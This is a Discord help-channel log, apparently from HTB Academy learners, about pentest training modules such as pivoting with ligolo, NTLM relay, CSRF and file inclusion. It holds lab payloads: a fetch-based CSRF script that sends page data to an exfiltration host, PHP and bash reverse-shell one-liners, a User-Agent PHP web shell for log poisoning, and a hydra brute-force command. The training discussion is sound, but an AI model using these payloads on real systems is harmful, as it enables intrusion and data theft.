normal sand
#

I was able to discover the first pivot host with ping sweep, after running it twice, didn't catch it the first time.

muted kindle
normal sand
frigid pelican
#

I have the " Target(s) are spawning..." for 10 minutes now - is there anything i can do besides, terminate, refresh and/or restart ?

#

whenever i boot up HTB it will just say Target(s) are spawning...

torn steppe
normal sand
frigid pelican
#

alright, thanks for the feedback

hexed lintel
muted kindle
hexed lintel
#

no, i got the svc_sql user's password using kerbroasting and i want to login to this user, but i dont know the ip

#

how to get find the ip of this user

normal sand
#

@muted kindle which routes should I add this time?

172.16.0.0/16 ligolo
172.16.6.0/24 ligolo2

or

172.16.5.0/24 ligolo
172.16.6.0/24 ligolo2
muted kindle
muted kindle
normal sand
#

So if I've already added the route 172.16.0.0/24 on the tun ligolo, it won't allow me to add the same route on tun ligolo2.

muted kindle
#

are these all in the same subnet ?

normal sand
muted kindle
normal sand
#

Side note: I've tried performing a ping sweep directly from pivot 2's CMD, but that gave no results.

muted kindle
normal sand
muted kindle
#

Does the module want you to use other tools?

normal sand
normal sand
#

Well, it's skills assessment so it hasn't mentioned which tools to use, but I assume they expect me to use tools from the module.

muted kindle
muted kindle
#

U still need help with ttht? you removed the message

normal sand
#

Discord being a little whacky, but yeah, I still need help with the host discovery.

simple loom
normal sand
muted kindle
muted kindle
normal sand
#

@muted kindle I just checked Xre0uS's ligolo tutorial that I've been learning from, it seems to be a similar situation in the tutorial. He changed the /16 to /24 so he did 172.16.5.0/24 on dev ligolo and 172.16.6.0/24 on ligolo2. I'll give that a go and let you know.

next bronze
#

why can I not swtich vpn servers πŸ’€

next bronze
#

at least for htb modules you can assume it's always /24

normal sand
next bronze
#

if it's irl check with their networking guy

normal sand
#

I'm now anxious about the kind of situation I'm having now showing up on the exam πŸ˜‚

next bronze
#

just set it to /24

normal sand
muted kindle
#

It confuses me too for the /16 πŸ₯΄

normal sand
#

I'm doing it now, here's praying ping sweep works from pivot2 pepepray

next bronze
#

it should be able to reach in theory but you don't really know whats behind the scenes

#

just be able to adapt ig, if something doesn't work, swtich things around and use the things that do

next bronze
normal sand
#

Btw does ligolo get messed up if I change the routing table after I've already started a tunnel, shouldn't right?

next bronze
#

remove the old one, it will take precedence

normal sand
#

@next bronze @muted kindle I followed what Xre0uS said and added the routes. When I run the ping sweep tho, I get a TON of output πŸ’€

next bronze
#

can't say that I've had that happen to me before

muted kindle
normal sand
next bronze
#

I'd probably restart the proxy and agents

normal sand
void hemlock
#

Module: ADCS attacks
Section: Skills assessment

To get initial access to DEV01, I tried to use ESC8 but the coerce failed (using coercer or petitpotam.py). Can someone give me a hint? thanks

next bronze
normal sand
next bronze
#

don't use ping shrug

normal sand
next bronze
#

scan select ports with nmap

normal sand
next bronze
#

10 might be too few, I just use -F

#

that scans the top 100

normal sand
muted kindle
#

if u do that for a /16

#

😬

next bronze
#

yeah do /24

normal sand
# next bronze yeah do /24

So by doing that I'm basically making an assumption that the host will be on that part of the subnet, yeah?

#

Since the second interface has the X.X.6.X

normal sand
#

Tbh I use it in all my scans. It's supposed to disable ICMP echo iirc.

next bronze
#

yes to both

normal sand
#

Alrighty, thanks.

#

So the command would be like this?

sudo nmap -F -Pn -n 172.16.6.0/24
next bronze
#

yeah that should work

normal sand
#

Thanks for your help, both of you.

next bronze
void hemlock
next bronze
#

what are you targeting

void hemlock
#

I'm trying to compromise dev01

next bronze
#

did you try multiple endpoints with coercer

void hemlock
chilly grove
#

Hu

#

Hi

void hemlock
next bronze
void hemlock
next bronze
#

if you can esc11 the dc right away then what are the other questions for kekw

patent flower
#

hi everyone
I'm stuck with this question " Enumerate the target Oracle database and submit the password hash of the user DBSNMP as the answer." about the ORACLE TNS module.

silk anchor
thorn hawk
marble island
#

Hey folks i'm prepping for the cpts and i'm going back to the modules for a revision, if i re-do the all of the skill assement with no issues i should be well revisioned for the cpts right? Or should i re-do all of the exercises too?

#

Do the skill assesment cover everything or should i go back to the exercises?

zenith canopy
#

it says 1 indicates 'remote server' and '0' indicates linked server, so are these two linked server? isnt a linked server supposed to be remote, im confused

sour lake
#

Hey guys I'm currently doing the Windows Privilege Escalation module and there is a question "What executable other than cmd.exe is blocked by AppLocker? " and I can't seem to find the solution to this question

normal sand
#

This means that a linked server could just be another database server instance running on the same machine.

zenith canopy
normal sand
zenith canopy
normal sand
zenith canopy
normal sand
zenith canopy
zenith canopy
normal sand
zenith canopy
fathom heath
#

Hi im working on the windows fundementals module and I cant seem to rdp into the box

#

i am connected to the vpn and see the box on a scan

#

any ideas?

fathom heath
muted kindle
#

Ur pic is so large my phone is struggling to load it dam

fathom heath
#

lol sry

candid lily
#

trying to csrf, but cookies are not attached to the request why

cloud urchin
#

what module and section

candid lily
#

CORS Misconfigurations in advanced csrf and xss

cloud urchin
#

the code provided in the module worked for me

candid lily
#

fetch doesnt work?

cloud urchin
#

your code isn't doing anything with the fetch first of all

#

second i don't know programming well enough to know if all the works together, i know what the module provided worked

#

your code misses a lot, like exporting the data somewhere, using javascript base64 encoding, etc

#

try using the code in the module you may have better luck

#

you need to exfiltrate to the exfiltration server

candid lily
#

i was testing locally

silk anchor
#

In 'Active Subdomain Enumeration' the last question was "Submit the number of all "A" records from all zones as the answer."

I got the answer by manually checking and counting them, was there a way to do this with a tool that I am not aware of or is this the intended method ?

fathom pendant
#

Or you can do some regex filtering and pass it to wc -l

candid lily
#
<!DOCTYPE html>
<html>
<body>
<script>
fetch("https://vulnerablesite.htb:51154/profile.php", {
  credentials: 'include'
})
.then(res => res.text())
.then(text => {
    const parser = new DOMParser();
    const doc = parser.parseFromString(text, 'text/html');
    const element = doc.getElementById('private-message');
    window.location = 'https://exfiltrate.htb:51154/?data=' + btoa(element.innerHTML)
})
.catch(err => console.error('Error:', err));
</script>
</body>
</html>
#

will this script work for csrf

#

the module used xml request, i wanna try fetch

fathom pendant
#

Why not try it and see

silk anchor
fathom pendant
#

grep -e "\sA\s" try passing your dig through this

silk anchor
fathom pendant
#

If it's not -e it's -E

candid lily
#

maybe because of browser difference

silk anchor
fathom pendant
silk anchor
storm elk
#

Is there a way to see responses to your posts in erratum? Mine seem to disappear πŸ‘€ (I have one open but am missing a few)

coral forge
#

Heyy :)), I'm on the Getting Started module of the Penetration Tester Path, on the Public Exploits part, and I am having troubles finding the right exploit to utilize on the target at the end, I did my enumeration and found an exploitable apache server and a Wordpress plugin (which also seems exploitable), but after trying some exploits I can't seem to find one that fits, what can I do to help me choose the right exploit?

split glade
coral forge
#

Hmmm okok

#

ty for the help :))

split glade
solid moth
#

i am doing Skills Assessment - File Inclusion. now i know %00 works and "../../" can be detected and url encode doesn't work . any hints ?

coral forge
coral forge
split glade
coral forge
pseudo kiln
#

I have a question regarding Using Metasploit Framework Module, section Session & Jobs, last question. After exploiting the vulnerability with metasploit, I tried to the manual exploit too for practice. But no matter what I did I could not get it to work. It seems that it only works if you compile the C exploit on the target itself. But question is if I dont have gcc, does that meant manual exploitation is out of the way with metasploit being the only option ?

fathom pendant
fathom pendant
split glade
# coral forge Heyy :)), I'm on the Getting Started module of the Penetration Tester Path, on t...

Oh btw, I realised the Public Exploits part is an other exercise (but keep in mind what I said for later), in that case you can do it unauthenticated. In that case I'm a bit surprised that you're struggling because it's straightforward:

  • when you go on the home page, the first thing you can read is "Plugin Simple Backup 2.7.10 for Wordpress"
  • if you use exploit-db.com or searchsploit, you'll only have one result when searching for WordPress Plugin Simple Backup (you don't even have to search for a specific version)
coral forge
coral forge
fathom pendant
#

It's that simple

#

Often you need to log in as an administrator to see plug-ins but since this is a getting started thing, it's not that deep

coral forge
fathom pendant
#

Well no

#

It's that plug-ins are managed by web admins usually

#

You're not often gonna see the plugin version in your face

#

Usually because threat actors can use versions as a way to find exploits

coral forge
#

I seee, so the key in this exercise was the plugin part, the fact that it was a plugin of WordPress isn't important, nor was the version of the WordPress?

silk anchor
#

Probably just worth noting that in the future modules you will do, that when you need to answer question you will already have covered the method to obtain the answer.
But you might need to use the info that you learned in a different way.

coral forge
earnest mulch
#

damm academy just got a lot better

mellow holly
split glade
#

Then today I learned that I took an alternative path for the ||last exercise of the getting started path||
What I did was ||crawling the files on the server, finding one with the user hash, cracking the hash (the password is very weak), login with the user credentials, uploading a webshell||
When the intended path only needed|| the right exploit and a valid username||

bright coral
quasi wave
#

for some reason powershell is giving me this error when I try to transfer a file. I just got back to doing HTB Academy today for first time in a while and I'm sure my head is hazy. Is there something I'm not understanding from the module? This is for Windows File Transfers section of File Transfers module.

topaz holly
#

For the Shells & Payloads, the exercise in the Payloads section indicates to set the smb share variable SHARE to ADMIN$, however that variable is not present in the msf module. I cannot run the exploit.
It seems like the smbversion for pwnbox is casuing an issue though.

pseudo kiln
next bronze
pseudo kiln
next bronze
#

yes, with the same or similar gcc version

pseudo kiln
#

yeah tried that it gave back some missing library error

next bronze
#

yes, hence the point with the same or similar gcc version

pseudo kiln
#

hmmm, not something I considered, so I should somehow find out what version of gcc they used in the github poc

#

and downgrade/upgrade to the same version

#

then compile it

next bronze
#

no, so you find out what glibc version are available on the target, then use the right gcc to compile it

#

you can't really downgrade it, that's why the originlal suggestion was to use "another system that closely resembles the one you’re trying to exploit"

pseudo kiln
#

ok so these would be the steps ?

1.find out available glib version on the target
2.set up a VM with the same glib version and compile the C exploit there
3.transfer the exploit to the target

next bronze
next bronze
pseudo kiln
#

alright, thanks a bunch for the help

#

feels like there should be a dedicated module for this C stuff too prayge

topaz holly
#

Im hung up on this right now trying to work out why it isn't working properly, its just supposed to be following through the module but I have this unexpected issue.

next bronze
#

check the exploit you're using

pseudo kiln
topaz holly
#

I was about to run the exploit manually cause I thought the config within msf was wrong lol

#

do all of that before triple checking im using the right exploit smh lol. thanks though I appreciate it

fathom pendant
topaz holly
small sage
#

Anyone have any actionable advice on feeling overwhelmed at how much information the whole PTJR path has? Like note taking/report writing guidance? It just seems like it's so much, and I'm not even halfway through. Specifically in preparation for the CPTS exam.

dim wolf
#

PTJR?

small sage
fathom pendant
#

Just say pentester path or cpts path

dim wolf
north wave
#

guys does cpts path provide some staff that can be put on linkedin (apart from cpts cert)

dim wolf
#

no

vocal lagoon
small sage
# dim wolf chunk your workload into digestable segments

I try, but I have a tendency to make things unnecessarily difficult. I'm using obisidian, and make an effort to name the "digestable sections" based on their target environment context. It mostly works, but I'm almost through AD Attacks & Enum, and my face feels like it's melting.

next bronze
#

you'll get better as time goes on and you practice more

small sage
# next bronze you'll get better as time goes on and you practice more

Thanks for the encouragement. I also lack patience with myself, so taking my time takes effort. I've been thinking about splitting sessions between the modules and relevant boxes on the main platform. All while documenting and even writing actual reports once that module is done.
However, I feel like I don't have time to take. I'm not getting any younger, and however talented and disciplined I may be, it's seems like such a tall mountain, with a dozen or so false summits.

fathom pendant
#

Sure it's a tall mountain, but you tackle it a time

#

You're not expected to be an expert at the end

#

Just competent

#

The exam itself tests two things: your ability to do the work, and your understanding of the domain

small sage
#

In other words, "Noob needs a chill pill."

fathom pendant
#

You're trying to achieve perfection when a later module might trivialize the basics

small sage
fathom pendant
#

They are building blocks

next bronze
#

there's also no one way/thing to do get there right away, field field is all about constantly learning and improving

fathom pendant
#

Field field prayge

next bronze
small sage
#

πŸ‘Ή

lime moth
#

Sup all? Starting the modules over, this time taking notes on every module page. Any1 that has tips on how to take notes or organizing them? Curious to see how other do it

cerulean grail
#

Hi, in the "Footprinting SNMP" module on the "Pentester" path, could anyone please help me understand how it's best to approach the last question? I understand that I need to use snmpwalk in conjunction with grep to locate the script in the wall of text that is snmpwalk's output, but I'm not really sure how to approach this as I have no idea what that script might be called. I'm looking to better understand how to approach these scenarios as opposed to someone just flat out giving me the answer if possible.

cerulean grail
small sage
silk anchor
cerulean grail
#

To be clear, I know what the answer is - just looking for insights on how to tackle these situations better in the future without reading through massive textual output

dim wolf
#

common script file extensions maybe, like .sh, .py

silk anchor
#

@cerulean grail ||Well... You know that is a linux system, which is likely to use a script that will run from a .sh file. You can just paste the output into subl and use the ctrl+f for .sh ||

broken moss
#

Hello everyone, what's the appropriate way to ask for guidnace on a module?

dim wolf
#

module name, section name, question or text snippet, your current understanding of what is being asked/told, what you have attempted to solve the question if any

silk anchor
dim wolf
#

you may want to omit that

silk anchor
#

Done

broken moss
#

For NTLM Relay Attacks - Skills Assessment, the second question/task is to compromise the BACKUP01 server. My understanding is below, but I'm stuck on moving forward

||I have used the mozhar account via ntlmrelay/responder to get smb access to the backup01 server, but couldn't write files and didn't see anything that helped so far. I have the sql_ftp_test account which provides me domain access, but I seem to be unable to coerce any auth with coercer/printerbug/petitpotam/etc, and unable to drop files anywhere. Noticed signing is disabled but not picking up any meaningful auths without coercion either||

next bronze
broken moss
#

Am I wrong in thinking I only have one set of creds? Other than ||mozhar on the backup server||?

#

I didn't see any read or write access to anything other than with the relayed creds

next bronze
#

is that for the second question?

broken moss
#

Yea

next bronze
#

what if you relay what you have to do something with ldap, then use that for your next step

broken moss
#

|| Create a computer account? I guess I'm unsure what I would use it for. Or do you mean enroll in a cert?||

next bronze
#

the former, then try to coerce with that

broken moss
#

Understanding that you're providing the guidance, I'll take your word for it. But in what scenario would someone encounter that? I don't think I've ever seen these types of coercion issues irl where you can relay with a computer account but not a standard user

cerulean grail
next bronze
split glade
#

Is it possible for a module (AD Enumeration & attacks) to use other 10.x.x.x IPs, when they are not listed next to "Target(s)"?

broken moss
next bronze
#

shruge maybe it's set up so that the original account doesn't have rights to interact with the target

lime moth
broken moss
neon wadi
# simple loom Hi all! I am on the Pivoting Module Skill assessment and I already compromised ...

I had trouble pinging the other hosts in that network. The best and fastest way I found to scan the networks was by installing nmap on the PIVOT-SRV01 Windows host, and scanning from there.

Eventually, I was able to get the pings to work, by changing to a different Academy server, and sending multiple pings. It took a while, but at least it worked:

0..255 | % {"176.16.5.$($): $(Test-Connection -Count 3 -Delay 2 -ComputerName 172.16.5.$($) -Quiet)"}
0..255 | % {"176.16.6.$($): $(Test-Connection -Count 3 -Delay 2 -ComputerName 172.16.6.$($) -Quiet)"}

simple loom
#

Like, I was able to get all flags but the phrasing of the questions actually hint a lot. Did not get a proper pivot from my attack host to the .6 network

neon wadi
# simple loom Like, I was able to get all flags but the phrasing of the questions actually hin...

I see what you mean. It didn't seem like I used a lot of the techniques from the coursework: a couple of SSL local port forwards (one for RDP, one for SMB), and an SSL dynamic port forward to use with proxychains for an nmap scan. Mostly it was just SSHing to the Linux machine and the initial Windows pivot machine, some RDP access with xfreerdp and mstsc, and PSRemoting into the DC. I'm getting ready to go back and see how many of the course techniques I can apply.

snow mirage
#

Ok so for anyone who is doing the Skills Assessment for Security Monitoring & SIEM Fundamentals, please note that the correct Service Account convention is svc- and not -svc. I know its a bit confusing. I overthought the content that was written here

#

If you go through kibana and do a wildcard search on svc, you'll find the correct naming convention yourself to confirm

#

The naming convention written down by hack the box team is incorrect

unique remnant
#

Please hlp

Module: Web proxies
Section: Proxying tools

Module options (auxiliary/scanner/http/http_put):

Name Current Setting Required Description


ACTION PUT yes PUT or DELETE
FILEDATA aksika no The data to upload into the file
FILENAME x yes The file to attempt to write or delete
PATH / yes The path to attempt to write or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 185.15.59.224 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host

Auxiliary action:

Name Description


PUT Upload local file

msf6 auxiliary(scanner/http/http_put) > run

[-] 185.15.59.224: File doesn't seem to exist. The upload probably failed
[] Scanned 1 of 1 hosts (100% complete)
[
] Auxiliary module execution completed

the request goes via burp as needed as in the screenshot, but what is the flag I need to look for?? the hint says something starts with msf
I tried it using with the msf built in proxy, the proxychain but no idea what kind of answer needed here

never mind I solved - such an idiot review question!, wasted 2 hours of my life!!
the answer is the content of the FILEDATA
but do not modify it just keep the original value "msf xxxx xxxx"

#

never mind I solved - such an idiot review question!, wasted 2 hours of my life!!

inner geyser
#

So I'm working on Blacklist Filters in File Upload Attacks and looking for a hint. I'm able to successfully upload my php payload using Burp ||(php4, phtml, phtm) || (extensions haven't always persisted through resets or new servers).

When I'm running a curl command or going to the URL of my uploaded file, it results in showing me the string of my payload instead of running my command at the end of the URL string. Any suggestions?

#

Using Repeater to upload the file btw

unique remnant
#

you need to find a way to execute the payload, find a different directory - if I understood your problem correctly

inner geyser
#

the issue is that when i execute a webshell command from the browser or using a curl command, the output is the web shell command string instead of the command i'm trying to run

unique remnant
earnest imp
#

hi everyone, I have a problem in the module Windows Attacks & Defense

#

with PKI - ESC1 exercices

#

I cannopt connect to the WS001 machine through RDP

#

I got this message: "the trust relationship between this workstation and the primary domain failed"

loud dagger
#

okay i cannot connect to this reverse shell to save my life and i have come to the conclusion that for some reason netcat is not working on the target machine. it's a PHP remote code execution. everything else i've tried works just fine, like i'll type something like grep --help and it will print the help manual for grep but nc -h returns nothing. man nc works, but that's it. any other netcat commands return nothing. based on the man page it looks like it's a super outdated version. -c and -e both don't work so it recommends using mkfifo. which doesn't work.
here's the one liner i've been trying:

<?php system("rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.34 9941 > /tmp/f"); ?>

i have changed many many things and none of them work.

#

also i know netcat is working on my machine because i can connect to myself

dim wolf
#

have you tried which nc, which netcat, which ncat

loud dagger
#

yep

#

nc is definitely installed

#

i've tried using the full path to no avail

dim wolf
#

time to think of a different way then

loud dagger
#

do you connect to every method of reverse shell using netcat

#

idk how to get a reverse shell in any other way

dim wolf
#

netcat is preferred and easiest but maybe it doesn't work sometimes

#

you can try looking for other installed programs that you can leverage to get a reverse shell -> https://revshells.com

Online Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.

#

or you can craft a msfvenom meterpreter binary, upload it, then execute it

loud dagger
#

alright i'll keep looking, thanks

#

the only reason i've been trying netcat and not anything else is because the module specifically says to use netcat and even gives the command i'm supposed to use, which doesn't work

dim wolf
#

here's one you can try

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.34/9941 0>&1'");
loud dagger
#

yeah i've tried that one and a few others already

valid viper
#

Dat shell...

loud dagger
#

took the easy way out

#

avoided the reverse shell altogether by just having the php script print the flag

#

:(

late moth
#

I am on the "footprinting" module on the DNS section on the last question "What is the FQDN of the host where the last octet ends with "x.x.x.203"?" I was able to get a subdomain from a zone transfer I performed another zone transfer on the only subdomain that would allow it. I am still coming up short. I also tried brute forcing it with the topmillion subdomains wordlist. any hints?

split glade
loud dagger
#

metasploit isn't even working what the hell is this

#

i'm just going to try this machine tomorrow

earnest imp
#

hello everyone, I have a problem in the module Windows Attacks & Defense with PKI - ESC1 exercices. When I try to build my TGT ticket I got this error: KDC_ERR_PADATA_TYPE_NOSUPP

#

Is it due to network issues or because I made a mistake during the certificate creation?

slow ruin
#

Currently stuck on this, can I dm?

empty basin
#

Can anyone help me with my gmail account?

#

I forgor password like a retarted

#

I have proof it’s my gmail

cloud urchin
#

you'll need to reach out to Google for help with that, no one here works for Google so no one here can help you

dim wolf
#

why ask us?

violet sparrow
#

Hey y'all I need some help I don't know if I am attacking the question wrong. I am on the a Linux fundamental's course specifically "Filtering Contents" The first question is just stumping me and I can not seem find the correct answer. I have done multiple combinations of the ss & netstat such as netstat | grep -Ev '127.0.0.1|::1' or ss -tuln | grep '0\.0\.0\.0' | grep -v '127\.0\.0\.1' | wc -l and I am just stumped. If someone could help me out I would appreciate it

cloud urchin
#

i haven't done that, but i find a great resource for command syntax is asking chatgpt

violet sparrow
rustic sage
#

Is there a VPN outage/status page for the various Dedicated servers?

daring birch
#

idk it was driving me nuts earlier

#

VPN going iout at least. Could of been just my config tho

glass quail
rustic sage
#

Not getting that option. Only lists US Dedicated 13.

cloud urchin
full drum
#

Hi there, i may be being the biggest idiot in the world here, but where is hackman.exe file in the Game Hacking Fundamentals module?

cloud urchin
#

haven't done that module but i've only ever seen tools in the c:\tools folder or the downloads folder for the user you login as

#

check c:\tools

full drum
#

So the module asks that I set up cheat engine, which I have done in my own VM. I downloaded their specific version of cheatengine that's bundled with the module, but the executable is nowhere to be found. Edit: it's probably somewhere really obvious, but i just can't see it.

#

The module does not have a pwnbox or VM to SSH into for the exercises.

cloud urchin
#

not sure then sorry. sometimes there's a resources area in the module above the table of contents

full drum
#

I'm an idiot. I found it. The download button is right next to the exercise question at the bottom of the page 🀦

steel gorge
#

Targets are no longer spawning, just in a loop. Anyone else finding this? Status page unhelpful

valid viper
#

Anyone else having problems with connecting to labs?

steel gorge
#

I can get pwnbox but not targets.

valid viper
#

Glad it's not just me.

#

Well, I've tried US and EU servers. SSDD.

steel gorge
#

Seems to be working correctly again

solid moth
#

Skills Assessment - File Inclusion . i can see the source code of index.php using php://filter. i know that ".." can't show in the payload and payloads would be added a suffix ".php" . PHP version is 7.3.22 so the bypasses taught in this module won't work . i don't know what to do . any hints pls ?

zinc nimbus
#

idk which one it is

#

dm i got it i think my head πŸ˜– 🧏 ↖️ ⬇️ ‡️

valid viper
#

I'm still down here.

trail sail
#

Is it normal for this command to take two hours?
hydra -l (spoiler prevention)@inlanefreight.htb -P rockyou.txt -t 64 -f 10.129.203.7 smtp

coarse escarp
#

So I ran it and it seemed to work? But I don't know how to read the output..

coarse escarp
#

I think I get it

#

Nevermind

fathom pendant
#

Make sure you double check all the options

coarse escarp
#

because I thought that would help.

fathom pendant
#

You didn't need to change the URI

#

Just the filepath

coarse escarp
#

changed it

#

back

fathom pendant
#

I'd just close msfconsole. And reopen it and rerun the exploit only changing the RHOST and filepath

#

I don't belive this is a public docker instance so you shouldn't have to specify port, but if it is you'll need to specify RPORT

#

RHOST is strictly IP
RPORT is strictly port

coarse escarp
#

I got it now, but I'm confused if its in msf or saved to the document.

#

computer*

fathom pendant
#

Try using cat instead of cd

#

Also cd home isn't a thing it's either cd or cd ~

coarse escarp
#

ah

#

I got

fathom pendant
#

As you can see what that filepath was ends in .txt

coarse escarp
#

I knew that, but I'm used to having to go to the path first like in windows.

fathom pendant
#

I suggest taking the linux fundamentals course

coarse escarp
#

I did, just forgot it.

fathom pendant
coarse escarp
#

I'll do a refresher.

coarse escarp
fathom pendant
#

Yes

#

Well

#

cd .. just takes you back a directory from your current

coarse escarp
#

Yeah I'm aware

#

I use it a lot lol

fathom pendant
#

(Hint, it's why a lot of LFI vulnerabilities do ../../../../

coarse escarp
#

also I know that /* is just another fancy way of searching everything.

fathom pendant
#

Cd can also just be used with the full directory path

trail sail
#

Guys i am doing the attacking common services lab and now that i found creds, i need to connect to mysql, but i just can't connect
$ mysql -u (not spoiling)@inlanefreight.htb -h 10.129.203.7 -p
Enter password:
ERROR 2002 (HY000): Can't connect to MySQL server on '10.129.203.7' (115)

fathom pendant
#

cd /home/user/.msf4/loot/ would take you there from anywhere

trail sail
#

Am i doing something wrong with the command?

fathom pendant
#

If you wanted to go to the /home/ directory, you needed use the leading/

fathom pendant
trail sail
#

Thanks i got, it i had to specify the port of mysql

fathom pendant
#

That shouldn't need to be done

coarse escarp
fathom pendant
#

Or it's -P

#

Oh no it's -p as shown in the question

coarse escarp
#

Not asking for a password..

fathom pendant
#

Give it a minute

#

Also double check your ip

#

You put 99.x.x.x instead of 94.x.x.x

coarse escarp
#

I noticed when you said check your ip

fathom pendant
#

Always take a minute to actually read πŸ˜„

coarse escarp
#

always that one character messing things up

fathom pendant
#

ssh is one of the most well used tools in academy, knowing syntax is important

coarse escarp
#

I figured as much since it's how you remotely access anything.

#

besides WinRM

fathom pendant
#

Also I think most sections show basic syntax

fathom pendant
coarse escarp
#

huh.. I read WinRM sometwhere

solid moth
#

any one can help me ? Skills Assessment - File Inclusion

#

i wrote the php code in the log but it won't run my command

fathom pendant
acoustic owl
flat parrot
#

password crack module is crazy.

coarse escarp
#

I'm sorry.. What?

fathom pendant
#

Also dude

coarse escarp
#

?

coarse escarp
fathom pendant
#

take a minute to try working it out before rushing here

#

man <command> is very helpful for understanding a command

#

Or <command> -h/--help

solid moth
#

no matter how many requests i sent. the access.log won't increase

fathom pendant
west canopy
solid moth
#

i have reset a couple of times

fathom pendant
#

Then your payload must be wrong in some way

solid moth
#

<?php system($_GET["cmd"]); ?> i wrote in the user-agent field

#

this is my request

acoustic owl
#

I deleted your post because it contains a lot of spoilers